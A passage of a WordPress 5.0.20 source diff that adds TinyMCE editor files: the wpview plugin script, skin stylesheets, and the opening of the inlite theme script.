+} )( window.tinymce, window.setTimeout );
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpview/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpview/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpview/plugin.js	(revision 56912)
@@ -0,0 +1,202 @@
+/**
+ * WordPress View plugin.
+ */
+( function( tinymce, wp ) {
+	tinymce.PluginManager.add( 'wpview', function( editor ) {
+		function noop () {}
+
+		if ( ! wp || ! wp.mce || ! wp.mce.views ) {
+			return {
+				getView: noop
+			};
+		}
+
+		// Check if a node is a view or not.
+		function isView( node ) {
+			return editor.dom.hasClass( node, 'wpview' );
+		}
+
+		// Replace view tags with their text.
+		function resetViews( content ) {
+			function callback( match, $1 ) {
+				return '<p>' + window.decodeURIComponent( $1 ) + '</p>';
+			}
+
+			if ( ! content ) {
+				return content;
+			}
+
+			return content
+				.replace( /<div[^>]+data-wpview-text="([^"]+)"[^>]*>(?:\.|[\s\S]+?wpview-end[^>]+>\s*<\/span>\s*)?<\/div>/g, callback )
+				.replace( /<p[^>]+data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g, callback );
+		}
+
+		editor.on( 'init', function() {
+			var MutationObserver = window.MutationObserver || window.WebKitMutationObserver;
+
+			if ( MutationObserver ) {
+				new MutationObserver( function() {
+					editor.fire( 'wp-body-class-change' );
+				} )
+				.observe( editor.getBody(), {
+					attributes: true,
+					attributeFilter: ['class']
+				} );
+			}
+
+			// Pass on body class name changes from the editor to the wpView iframes.
+			editor.on( 'wp-body-class-change', function() {
+				var className = editor.getBody().className;
+
+				editor.$( 'iframe[class="wpview-sandbox"]' ).each( function( i, iframe ) {
+					// Make sure it is a local iframe
+					// jshint scripturl: true
+					if ( ! iframe.src || iframe.src === 'javascript:""' ) {
+						try {
+							iframe.contentWindow.document.body.className = className;
+						} catch( er ) {}
+					}
+				});
+			} );
+		});
+
+		// Scan new content for matching view patterns and replace them with markers.
+		editor.on( 'beforesetcontent', function( event ) {
+			var node;
+
+			if ( ! event.selection ) {
+				wp.mce.views.unbind();
+			}
+
+			if ( ! event.content ) {
+				return;
+			}
+
+			if ( ! event.load ) {
+				node = editor.selection.getNode();
+
+				if ( node && node !== editor.getBody() && /^\s*https?:\/\/\S+\s*$/i.test( event.content ) ) {
+					// When a url is pasted or inserted, only try to embed it when it is in an empty paragrapgh.
+					node = editor.dom.getParent( node, 'p' );
+
+					if ( node && /^[\s\uFEFF\u00A0]*$/.test( editor.$( node ).text() || '' ) ) {
+						// Make sure there are no empty inline elements in the <p>
+						node.innerHTML = '';
+					} else {
+						return;
+					}
+				}
+			}
+
+			event.content = wp.mce.views.setMarkers( event.content, editor );
+		} );
+
+		// Replace any new markers nodes with views.
+		editor.on( 'setcontent', function() {
+			wp.mce.views.render();
+		} );
+
+		// Empty view nodes for easier processing.
+		editor.on( 'preprocess hide', function( event ) {
+			editor.$( 'div[data-wpview-text], p[data-wpview-marker]', event.node ).each( function( i, node ) {
+				node.innerHTML = '.';
+			} );
+		}, true );
+
+		// Replace views with their text.
+		editor.on( 'postprocess', function( event ) {
+			event.content = resetViews( event.content );
+		} );
+
+		// Replace views with their text inside undo levels.
+		// This also prevents that new levels are added when there are changes inside the views.
+		editor.on( 'beforeaddundo', function( event ) {
+			event.level.content = resetViews( event.level.content );
+		} );
+
+		// Make sure views are copied as their text.
+		editor.on( 'drop objectselected', function( event ) {
+			if ( isView( event.targetClone ) ) {
+				event.targetClone = editor.getDoc().createTextNode(
+					window.decodeURIComponent( editor.dom.getAttrib( event.targetClone, 'data-wpview-text' ) )
+				);
+			}
+		} );
+
+		// Clean up URLs for easier processing.
+		editor.on( 'pastepreprocess', function( event ) {
+			var content = event.content;
+
+			if ( content ) {
+				content = tinymce.trim( content.replace( /<[^>]+>/g, '' ) );
+
+				if ( /^https?:\/\/\S+$/i.test( content ) ) {
+					event.content = content;
+				}
+			}
+		} );
+
+		// Show the view type in the element path.
+		editor.on( 'resolvename', function( event ) {
+			if ( isView( event.target ) ) {
+				event.name = editor.dom.getAttrib( event.target, 'data-wpview-type' ) || 'object';
+			}
+		} );
+
+		// See `media` plugin.
+		editor.on( 'click keyup', function() {
+			var node = editor.selection.getNode();
+
+			if ( isView( node ) ) {
+				if ( editor.dom.getAttrib( node, 'data-mce-selected' ) ) {
+					node.setAttribute( 'data-mce-selected', '2' );
+				}
+			}
+		} );
+
+		editor.addButton( 'wp_view_edit', {
+			tooltip: 'Edit|button', // '|button' is not displayed, only used for context
+			icon: 'dashicon dashicons-edit',
+			onclick: function() {
+				var node = editor.selection.getNode();
+
+				if ( isView( node ) ) {
+					wp.mce.views.edit( editor, node );
+				}
+			}
+		} );
+
+		editor.addButton( 'wp_view_remove', {
+			tooltip: 'Remove',
+			icon: 'dashicon dashicons-no',
+			onclick: function() {
+				editor.fire( 'cut' );
+			}
+		} );
+
+		editor.once( 'preinit', function() {
+			var toolbar;
+
+			if ( editor.wp && editor.wp._createToolbar ) {
+				toolbar = editor.wp._createToolbar( [
+					'wp_view_edit',
+					'wp_view_remove'
+				] );
+
+				editor.on( 'wptoolbar', function( event ) {
+					if ( ! event.collapsed && isView( event.element ) ) {
+						event.toolbar = toolbar;
+					}
+				} );
+			}
+		} );
+
+		editor.wp = editor.wp || {};
+		editor.wp.getView = noop;
+		editor.wp.setViewCursor = noop;
+
+		return {
+			getView: noop
+		};
+	} );
+} )( window.tinymce, window.wp );
Index: /tags/5.0.20/src/wp-includes/js/tinymce/skins/lightgray/content.inline.min.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/skins/lightgray/content.inline.min.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/skins/lightgray/content.inline.min.css	(revision 56912)
@@ -0,0 +1,1 @@
+.word-wrap{word-wrap:break-word;-ms-word-break:break-all;word-break:break-all;word-break:break-word;-ms-hyphens:auto;-moz-hyphens:auto;-webkit-hyphens:auto;hyphens:auto}.mce-content-body .mce-reset{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:transparent;text-decoration:none;color:black;font-family:Arial;font-size:11px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;line-height:normal;font-weight:normal;text-align:left;-webkit-tap-highlight-color:transparent;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.mce-object{border:1px dotted #3A3A3A;background:#D5D5D5 url(img/object.gif) no-repeat center}.mce-preview-object{display:inline-block;position:relative;margin:0 2px 0 2px;line-height:0;border:1px solid gray}.mce-preview-object[data-mce-selected="2"] .mce-shim{display:none}.mce-preview-object .mce-shim{position:absolute;top:0;left:0;width:100%;height:100%;background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)}figure.align-left{float:left}figure.align-right{float:right}figure.image.align-center{display:table;margin-left:auto;margin-right:auto}figure.image{display:inline-block;border:1px solid gray;margin:0 2px 0 1px;background:#f5f2f0}figure.image img{margin:8px 8px 0 8px}figure.image figcaption{margin:6px 8px 6px 8px;text-align:center}.mce-toc{border:1px solid gray}.mce-toc h2{margin:4px}.mce-toc li{list-style-type:none}.mce-pagebreak{cursor:default;display:block;border:0;width:100%;height:5px;border:1px dashed #666;margin-top:15px;page-break-before:always}@media print{.mce-pagebreak{border:0}}.mce-item-anchor{cursor:default;display:inline-block;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;user-select:all;user-modify:read-only;width:9px !important;height:9px !important;border:1px dotted #3A3A3A;background:#D5D5D5 url(img/anchor.gif) no-repeat center}.mce-nbsp,.mce-shy{background:#AAA}.mce-shy::after{content:'-'}.mce-match-marker{background:#AAA;color:#fff}.mce-match-marker-selected{background:#3399ff;color:#fff}.mce-spellchecker-word{border-bottom:2px solid rgba(208,2,27,0.5);cursor:default}.mce-spellchecker-grammar{border-bottom:2px solid #008000;cursor:default}.mce-item-table,.mce-item-table td,.mce-item-table th,.mce-item-table caption{border:1px dashed #BBB}td[data-mce-selected],th[data-mce-selected]{background-color:#2276d2 !important}.mce-edit-focus{outline:1px dotted #333}.mce-content-body *[contentEditable=false] *[contentEditable=true]:focus{outline:2px solid #2276d2}.mce-content-body *[contentEditable=false] *[contentEditable=true]:hover{outline:2px solid #2276d2}.mce-content-body *[contentEditable=false][data-mce-selected]{outline:2px solid #2276d2}.mce-content-body.mce-content-readonly *[contentEditable=true]:focus,.mce-content-body.mce-content-readonly *[contentEditable=true]:hover{outline:none}.mce-content-body *[data-mce-selected="inline-boundary"]{background:#bfe6ff}.mce-content-body .mce-item-anchor[data-mce-selected]{background:#D5D5D5 url(img/anchor.gif) no-repeat center}.mce-content-body hr{cursor:default}.mce-content-body table{-webkit-nbsp-mode:normal}.ephox-snooker-resizer-bar{background-color:#2276d2;opacity:0}.ephox-snooker-resizer-cols{cursor:col-resize}.ephox-snooker-resizer-rows{cursor:row-resize}.ephox-snooker-resizer-bar.ephox-snooker-resizer-bar-dragging{opacity:.2}.mce-content-body{line-height:1.3}
Index: /tags/5.0.20/src/wp-includes/js/tinymce/skins/lightgray/content.min.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/skins/lightgray/content.min.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/skins/lightgray/content.min.css	(revision 56912)
@@ -0,0 +1,1 @@
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format('svg');font-weight:normal;font-style:normal}.mce-ico{font-family:'tinymce',Arial;font-style:normal;font-weight:normal;font-variant:normal;font-size:16px;line-height:16px;speak:none;vertical-align:text-top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline-block;background:transparent center center;background-size:cover;width:16px;height:16px;color:#595959}.mce-btn-small .mce-ico{font-family:'tinymce-small',Arial}.mce-i-save:before{content:"\e000"}.mce-i-newdocument:before{content:"\e001"}.mce-i-fullpage:before{content:"\e002"}.mce-i-alignleft:before{content:"\e003"}.mce-i-aligncenter:before{content:"\e004"}.mce-i-alignright:before{content:"\e005"}.mce-i-alignjustify:before{content:"\e006"}.mce-i-alignnone:before{content:"\e003"}.mce-i-cut:before{content:"\e007"}.mce-i-paste:before{content:"\e008"}.mce-i-searchreplace:before{content:"\e009"}.mce-i-bullist:before{content:"\e00a"}.mce-i-numlist:before{content:"\e00b"}.mce-i-indent:before{content:"\e00c"}.mce-i-outdent:before{content:"\e00d"}.mce-i-blockquote:before{content:"\e00e"}.mce-i-undo:before{content:"\e00f"}.mce-i-redo:before{content:"\e010"}.mce-i-link:before{content:"\e011"}.mce-i-unlink:before{content:"\e012"}.mce-i-anchor:before{content:"\e013"}.mce-i-image:before{content:"\e014"}.mce-i-media:before{content:"\e015"}.mce-i-help:before{content:"\e016"}.mce-i-code:before{content:"\e017"}.mce-i-insertdatetime:before{content:"\e018"}.mce-i-preview:before{content:"\e019"}.mce-i-forecolor:before{content:"\e01a"}.mce-i-backcolor:before{content:"\e01a"}.mce-i-table:before{content:"\e01b"}.mce-i-hr:before{content:"\e01c"}.mce-i-removeformat:before{content:"\e01d"}.mce-i-subscript:before{content:"\e01e"}.mce-i-superscript:before{content:"\e01f"}.mce-i-charmap:before{content:"\e020"}.mce-i-emoticons:before{content:"\e021"}.mce-i-print:before{content:"\e022"}.mce-i-fullscreen:before{content:"\e023"}.mce-i-spellchecker:before{content:"\e024"}.mce-i-nonbreaking:before{content:"\e025"}.mce-i-template:before{content:"\e026"}.mce-i-pagebreak:before{content:"\e027"}.mce-i-restoredraft:before{content:"\e028"}.mce-i-bold:before{content:"\e02a"}.mce-i-italic:before{content:"\e02b"}.mce-i-underline:before{content:"\e02c"}.mce-i-strikethrough:before{content:"\e02d"}.mce-i-visualchars:before{content:"\e02e"}.mce-i-visualblocks:before{content:"\e02e"}.mce-i-ltr:before{content:"\e02f"}.mce-i-rtl:before{content:"\e030"}.mce-i-copy:before{content:"\e031"}.mce-i-resize:before{content:"\e032"}.mce-i-browse:before{content:"\e034"}.mce-i-pastetext:before{content:"\e035"}.mce-i-rotateleft:before{content:"\eaa8"}.mce-i-rotateright:before{content:"\eaa9"}.mce-i-crop:before{content:"\ee78"}.mce-i-editimage:before{content:"\e915"}.mce-i-options:before{content:"\ec6a"}.mce-i-flipv:before{content:"\eaaa"}.mce-i-fliph:before{content:"\eaac"}.mce-i-zoomin:before{content:"\eb35"}.mce-i-zoomout:before{content:"\eb36"}.mce-i-sun:before{content:"\eccc"}.mce-i-moon:before{content:"\eccd"}.mce-i-arrowleft:before{content:"\edc0"}.mce-i-arrowright:before{content:"\e93c"}.mce-i-drop:before{content:"\e935"}.mce-i-contrast:before{content:"\ecd4"}.mce-i-sharpen:before{content:"\eba7"}.mce-i-resize2:before{content:"\edf9"}.mce-i-orientation:before{content:"\e601"}.mce-i-invert:before{content:"\e602"}.mce-i-gamma:before{content:"\e600"}.mce-i-remove:before{content:"\ed6a"}.mce-i-tablerowprops:before{content:"\e604"}.mce-i-tablecellprops:before{content:"\e605"}.mce-i-table2:before{content:"\e606"}.mce-i-tablemergecells:before{content:"\e607"}.mce-i-tableinsertcolbefore:before{content:"\e608"}.mce-i-tableinsertcolafter:before{content:"\e609"}.mce-i-tableinsertrowbefore:before{content:"\e60a"}.mce-i-tableinsertrowafter:before{content:"\e60b"}.mce-i-tablesplitcells:before{content:"\e60d"}.mce-i-tabledelete:before{content:"\e60e"}.mce-i-tableleftheader:before{content:"\e62a"}.mce-i-tabletopheader:before{content:"\e62b"}.mce-i-tabledeleterow:before{content:"\e800"}.mce-i-tabledeletecol:before{content:"\e801"}.mce-i-codesample:before{content:"\e603"}.mce-i-fill:before{content:"\e902"}.mce-i-borderwidth:before{content:"\e903"}.mce-i-line:before{content:"\e904"}.mce-i-count:before{content:"\e905"}.mce-i-translate:before{content:"\e907"}.mce-i-drag:before{content:"\e908"}.mce-i-home:before{content:"\e90b"}.mce-i-upload:before{content:"\e914"}.mce-i-bubble:before{content:"\e91c"}.mce-i-user:before{content:"\e91d"}.mce-i-lock:before{content:"\e926"}.mce-i-unlock:before{content:"\e927"}.mce-i-settings:before{content:"\e928"}.mce-i-remove2:before{content:"\e92a"}.mce-i-menu:before{content:"\e92d"}.mce-i-warning:before{content:"\e930"}.mce-i-question:before{content:"\e931"}.mce-i-pluscircle:before{content:"\e932"}.mce-i-info:before{content:"\e933"}.mce-i-notice:before{content:"\e934"}.mce-i-arrowup:before{content:"\e93b"}.mce-i-arrowdown:before{content:"\e93d"}.mce-i-arrowup2:before{content:"\e93f"}.mce-i-arrowdown2:before{content:"\e940"}.mce-i-menu2:before{content:"\e941"}.mce-i-newtab:before{content:"\e961"}.mce-i-a11y:before{content:"\e900"}.mce-i-plus:before{content:"\e93a"}.mce-i-insert:before{content:"\e93a"}.mce-i-minus:before{content:"\e939"}.mce-i-books:before{content:"\e911"}.mce-i-reload:before{content:"\e906"}.mce-i-toc:before{content:"\e901"}.mce-i-checkmark:before{content:"\e033"}.mce-i-checkbox:before,.mce-i-selected:before{content:"\e033"}.mce-i-insert{font-size:14px}.mce-i-selected{visibility:hidden}i.mce-i-backcolor{text-shadow:none;background:#BBB}.mce-rtl .mce-filepicker input{direction:ltr}
Index: /tags/5.0.20/src/wp-includes/js/tinymce/skins/wordpress/wp-content.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/skins/wordpress/wp-content.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/skins/wordpress/wp-content.css	(revision 56912)
@@ -0,0 +1,500 @@
+/* Additional default styles for the editor */
+
+html {
+	cursor: text;
+}
+
+html.ios {
+	width: 100px;
+	min-width: 100%;
+}
+
+body {
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	font-size: 16px;
+	line-height: 1.5;
+	color: #333;
+	margin: 9px 10px;
+	max-width: 100%;
+	-webkit-font-smoothing: antialiased !important;
+	overflow-wrap: break-word;
+	word-wrap: break-word; /* Old syntax */
+}
+
+body.rtl {
+	font-family: Tahoma, "Times New Roman", "Bitstream Charter", Times, serif;
+}
+
+body.locale-he-il,
+body.locale-vi {
+	font-family: Arial, "Times New Roman", "Bitstream Charter", Times, serif;
+}
+
+body.wp-autoresize {
+	overflow: visible !important;
+	/* The padding ensures margins of the children are contained in the body. */
+	padding-top: 1px !important;
+	padding-bottom: 1px !important;
+	padding-left: 0 !important;
+	padding-right: 0 !important;
+}
+
+/* When font-weight is different than the default browser style,
+Chrome and Safari replace <strong> and <b> with spans with inline styles on pasting?! */
+body.webkit strong,
+body.webkit b {
+	font-weight: bold !important;
+}
+
+pre {
+	font-family: Consolas, Monaco, monospace;
+}
+
+td,
+th {
+	font-family: inherit;
+	font-size: inherit;
+}
+
+/* For emoji replacement images */
+img.emoji {
+	display: inline !important;
+	border: none !important;
+	height: 1em !important;
+	width: 1em !important;
+	margin: 0 .07em !important;
+	vertical-align: -0.1em !important;
+	background: none !important;
+	padding: 0 !important;
+	-webkit-box-shadow: none !important;
+	box-shadow: none !important;
+}
+
+.mceIEcenter {
+	text-align: center;
+}
+
+img {
+	height: auto;
+	max-width: 100%;
+}
+
+.wp-caption {
+	margin: 0; /* browser reset */
+	max-width: 100%;
+}
+
+/* iOS does not obey max-width if width is set. */
+.ios .wp-caption {
+	width: auto !important;
+}
+
+dl.wp-caption dt.wp-caption-dt img {
+	display: inline-block;
+	margin-bottom: -1ex;
+}
+
+div.mceTemp {
+	-ms-user-select: element;
+}
+
+dl.wp-caption,
+dl.wp-caption * {
+	-webkit-user-drag: none;
+}
+
+.wp-caption-dd {
+	font-size: 14px;
+	padding-top: 0.5em;
+	margin: 0; /* browser reset */
+}
+
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.alignleft {
+	float: left;
+	margin: 0.5em 1em 0.5em 0;
+}
+
+.alignright {
+	float: right;
+	margin: 0.5em 0 0.5em 1em;
+}
+
+/* Remove blue highlighting of selected images in WebKit */
+img[data-mce-selected]::selection {
+	background-color: transparent;
+}
+
+/* Styles for the WordPress plugins */
+.mce-content-body img[data-mce-placeholder] {
+	border-radius: 0;
+	padding: 0;
+}
+
+.mce-content-body img[data-wp-more] {
+	border: 0;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	width: 96%;
+	height: 16px;
+	display: block;
+	margin: 15px auto 0;
+	outline: 0;
+	cursor: default;
+}
+
+.mce-content-body img[data-mce-placeholder][data-mce-selected] {
+	outline: 1px dotted #888;
+}
+
+.mce-content-body img[data-wp-more="more"] {
+	background: transparent url( images/more.png ) repeat-y scroll center center;
+}
+
+.mce-content-body img[data-wp-more="nextpage"] {
+	background: transparent url( images/pagebreak.png ) repeat-y scroll center center;
+}
+
+/* Styles for formatting the boundaries of anchors and code elements */
+.mce-content-body a[data-mce-selected] {
+	padding: 0 2px;
+	margin: 0 -2px;
+	border-radius: 2px;
+	box-shadow: 0 0 0 1px #bfe6ff;
+	background: #bfe6ff;
+}
+
+.mce-content-body .wp-caption-dt a[data-mce-selected] {
+	outline: none;
+	padding: 0;
+	margin: 0;
+	box-shadow: none;
+	background: transparent;
+}
+
+.mce-content-body code {
+	padding: 2px 4px;
+	margin: 0;
+	border-radius: 2px;
+	color: #222;
+	background: #f2f4f5;
+}
+
+.mce-content-body code[data-mce-selected] {
+	background: #e9ebec;
+}
+
+/* Gallery, audio, video placeholders */
+.mce-content-body img.wp-media {
+	border: 1px solid #aaa;
+	background-color: #f2f2f2;
+	background-repeat: no-repeat;
+	background-position: center center;
+	width: 99%;
+	height: 250px;
+	outline: 0;
+	cursor: pointer;
+}
+
+.mce-content-body img.wp-media:hover {
+	background-color: #ededed;
+	border-color: #72777c;
+}
+
+.mce-content-body img.wp-media.wp-media-selected {
+	background-color: #d8d8d8;
+	border-color: #72777c;
+}
+
+.mce-content-body img.wp-media.wp-gallery {
+	background-image: url(images/gallery.png);
+}
+
+/* Image resize handles */
+.mce-content-body div.mce-resizehandle {
+	border-color: #72777c;
+	width: 7px;
+	height: 7px;
+}
+
+.mce-content-body img[data-mce-selected] {
+	outline: 1px solid #72777c;
+}
+
+.mce-content-body img[data-mce-resize="false"] {
+	outline: 0;
+}
+
+audio,
+video,
+embed {
+	display: -moz-inline-stack;
+	display: inline-block;
+}
+
+audio {
+	visibility: hidden;
+}
+
+/* Fix for proprietary Mozilla display attribute, see #38757 */
+[_moz_abspos] {
+	outline: none;
+}
+
+a[data-wplink-url-error],
+a[data-wplink-url-error]:hover,
+a[data-wplink-url-error]:focus {
+	outline: 2px dotted #dc3232;
+	position: relative;
+}
+
+a[data-wplink-url-error]:before {
+	content: "";
+	display: block;
+	position: absolute;
+	top: -2px;
+	right: -2px;
+	bottom: -2px;
+	left: -2px;
+	outline: 2px dotted #fff;
+	z-index: -1;
+}
+
+/* Special styling for the suggestes policy text tutorial sections after they have been pasted in the editor. */
+p.wp-policy-help {
+    background-color: #ff0;
+}
+
+/**
+ * WP Views
+ */
+
+.wpview {
+	width: 99.99%; /* All IE need hasLayout, incl. 11 (ugh, not again!!) */
+	position: relative;
+	clear: both;
+	margin-bottom: 16px;
+	border: 1px solid transparent;
+}
+
+.mce-shim {
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+}
+
+.wpview[data-mce-selected="2"] .mce-shim {
+	display: none;
+}
+
+.wpview .loading-placeholder {
+	border: 1px dashed #ccc;
+	padding: 10px;
+}
+
+.wpview[data-mce-selected] .loading-placeholder {
+	border-color: transparent;
+}
+
+/* A little "loading" animation, not showing in IE < 10 */
+.wpview .wpview-loading {
+	width: 60px;
+	height: 5px;
+	overflow: hidden;
+	background-color: transparent;
+	margin: 10px auto 0;
+}
+
+.wpview .wpview-loading ins {
+	background-color: #333;
+	margin: 0 0 0 -60px;
+	width: 36px;
+	height: 5px;
+	display: block;
+	-webkit-animation: wpview-loading 1.3s infinite 1s steps(36);
+	animation: wpview-loading 1.3s infinite 1s steps(36);
+}
+
+@-webkit-keyframes wpview-loading {
+	0% {
+		margin-left: -60px;
+	}
+	100% {
+		margin-left: 60px;
+	}
+}
+
+@keyframes wpview-loading {
+	0% {
+		margin-left: -60px;
+	}
+	100% {
+		margin-left: 60px;
+	}
+}
+
+.wpview .wpview-content > iframe {
+	max-width: 100%;
+	background: transparent;
+}
+
+.wpview-error {
+	border: 1px solid #ddd;
+	padding: 1em 0;
+	margin: 0;
+	word-wrap: break-word;
+}
+
+.wpview[data-mce-selected] .wpview-error {
+	border-color: transparent;
+}
+
+.wpview-error .dashicons,
+.loading-placeholder .dashicons {
+	display: block;
+	margin: 0 auto;
+	width: 32px;
+	height: 32px;
+	font-size: 32px;
+}
+
+.wpview-error p {
+	margin: 0;
+	text-align: center;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+}
+
+.wpview-type-gallery:after {
+	content: "";
+	display: table;
+	clear: both;
+}
+
+.gallery img[data-mce-selected]:focus {
+	outline: none;
+}
+
+.gallery a {
+	cursor: default;
+}
+
+.gallery {
+	margin: auto -6px;
+	padding: 6px 0;
+	line-height: 1;
+	overflow-x: hidden;
+}
+
+.ie7 .gallery,
+.ie8 .gallery {
+	margin: auto;
+}
+
+.gallery .gallery-item {
+	float: left;
+	margin: 0;
+	text-align: center;
+	padding: 6px;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ie7 .gallery .gallery-item,
+.ie8 .gallery .gallery-item {
+	padding: 6px 0;
+}
+
+.gallery .gallery-caption,
+.gallery .gallery-icon {
+	margin: 0;
+}
+
+.gallery .gallery-caption {
+	font-size: 13px;
+	margin: 4px 0;
+}
+
+.gallery-columns-1 .gallery-item {
+	width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	width: 50%;
+}
+
+.gallery-columns-3 .gallery-item {
+	width: 33.333%;
+}
+
+.ie8 .gallery-columns-3 .gallery-item,
+.ie7 .gallery-columns-3 .gallery-item {
+	width: 33%;
+}
+
+.gallery-columns-4 .gallery-item {
+	width: 25%;
+}
+
+.gallery-columns-5 .gallery-item {
+	width: 20%;
+}
+
+.gallery-columns-6 .gallery-item {
+	width: 16.665%;
+}
+
+.gallery-columns-7 .gallery-item {
+	width: 14.285%;
+}
+
+.gallery-columns-8 .gallery-item {
+	width: 12.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	width: 11.111%;
+}
+
+.gallery img {
+	max-width: 100%;
+	height: auto;
+	border: none;
+	padding: 0;
+}
+
+img.wp-oembed {
+	border: 1px dashed #888;
+	background: #f7f5f2 url(images/embedded.png) no-repeat scroll center center;
+	width: 300px;
+	height: 250px;
+	outline: 0;
+}
+
+/* rtl */
+.rtl .gallery .gallery-item {
+	float: right;
+}
+
+@media print,
+	(-o-min-device-pixel-ratio: 5/4),
+	(-webkit-min-device-pixel-ratio: 1.25),
+	(min-resolution: 120dpi) {
+
+	.mce-content-body img.mce-wp-more {
+		background-image: url( images/more-2x.png );
+		background-size: 1900px 20px;
+	}
+
+	.mce-content-body img.mce-wp-nextpage {
+		background-image: url( images/pagebreak-2x.png );
+		background-size: 1900px 20px;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/js/tinymce/themes/inlite/theme.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/themes/inlite/theme.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/themes/inlite/theme.js	(revision 56912)
@@ -0,0 +1,10235 @@
+(function () {
+var inlite = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.ThemeManager');
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.Env');
+
+  var global$2 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
+
+  var global$3 = tinymce.util.Tools.resolve('tinymce.util.Delay');
+
+  var flatten = function (arr) {
+    return arr.reduce(function (results, item) {
+      return Array.isArray(item) ? results.concat(flatten(item)) : results.concat(item);
+    }, []);
+  };
+  var $_ccn98l17xjjgwejz7 = { flatten: flatten };
+
+  var result = function (id, rect) {
+    return {
+      id: id,
+      rect: rect
+    };
+  };
+  var match = function (editor, matchers) {
+    for (var i = 0; i < matchers.length; i++) {
+      var f = matchers[i];
+      var result_1 = f(editor);
+      if (result_1) {
+        return result_1;
+      }
+    }
+    return null;
+  };
+  var $_6lg87517zjjgwejza = {
+    match: match,
+    result: result
+  };
+
+  var fromClientRect = function (clientRect) {
+    return {
+      x: clientRect.left,
+      y: clientRect.top,
+      w: clientRect.width,
+      h: clientRect.height
+    };
+  };
+  var toClientRect = function (geomRect) {
+    return {
+      left: geomRect.x,
+      top: geomRect.y,
+      width: geomRect.w,
+      height: geomRect.h,
+      right: geomRect.x + geomRect.w,
+      bottom: geomRect.y + geomRect.h
+    };
+  };
+  var $_1x174x181jjgwejzd = {
+    fromClientRect: fromClientRect,
+    toClientRect: toClientRect
+  };
+
+  var toAbsolute = function (rect) {
+    var vp = global$2.DOM.getViewPort();
+    return {
+      x: rect.x + vp.x,
+      y: rect.y + vp.y,
+      w: rect.w,
+      h: rect.h
+    };
+  };
+  var measureElement = function (elm) {
+    var clientRect = elm.getBoundingClientRect();
+    return toAbsolute({
+      x: clientRect.left,
+      y: clientRect.top,
+      w: Math.max(elm.clientWidth, elm.offsetWidth),
+      h: Math.max(elm.clientHeight, elm.offsetHeight)
+    });
+  };
+  var getElementRect = function (editor, elm) {
+    return measureElement(elm);
+  };
+  var getPageAreaRect = function (editor) {
+    return measureElement(editor.getElement().ownerDocument.body);
+  };
+  var getContentAreaRect = function (editor) {
+    return measureElement(editor.getContentAreaContainer() || editor.getBody());
+  };
+  var getSelectionRect = function (editor) {
+    var clientRect = editor.selection.getBoundingClientRect();
+    return clientRect ? toAbsolute($_1x174x181jjgwejzd.fromClientRect(clientRect)) : null;
+  };
+  var $_51qgo2180jjgwejzb = {
+    getElementRect: getElementRect,
+    getPageAreaRect: getPageAreaRect,
+    getContentAreaRect: getContentAreaRect,
+    getSelectionRect: getSelectionRect
+  };
+
+  var element = function (element, predicateIds) {
+    return function (editor) {
+      for (var i = 0; i < predicateIds.length; i++) {
+        if (predicateIds[i].predicate(element)) {
+          var result = $_6lg87517zjjgwejza.result(predicateIds[i].id, $_51qgo2180jjgwejzb.getElementRect(editor, element));
+          return result;
+        }
+      }
+      return null;
+    };
+  };
+  var parent = function (elements, predicateIds) {
+    return function (editor) {
+      for (var i = 0; i < elements.length; i++) {
+        for (var x = 0; x < predicateIds.length; x++) {
+          if (predicateIds[x].predicate(elements[i])) {
+            return $_6lg87517zjjgwejza.result(predicateIds[x].id, $_51qgo2180jjgwejzb.getElementRect(editor, elements[i]));
+          }
+        }
+      }
+      return null;
+    };
+  };
+  var $_egsucq17yjjgwejz9 = {
+    element: element,
+    parent: parent
+  };
+
+  var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var create = function (id, predicate) {
+    return {
+      id: id,
+      predicate: predicate
+    };
+  };
+  var fromContextToolbars = function (toolbars) {
+    return global$4.map(toolbars, function (toolbar) {
+      return create(toolbar.id, toolbar.predicate);
+    });
+  };
+  var $_9rj8kx182jjgwejze = {
+    create: create,
+    fromContextToolbars: fromContextToolbars
+  };
+
+  var textSelection = function (id) {
+    return function (editor) {
+      if (!editor.selection.isCollapsed()) {
+        var result = $_6lg87517zjjgwejza.result(id, $_51qgo2180jjgwejzb.getSelectionRect(editor));
+        return result;
+      }
+      return null;
+    };
+  };
+  var emptyTextBlock = function (elements, id) {
+    return function (editor) {
+      var i;
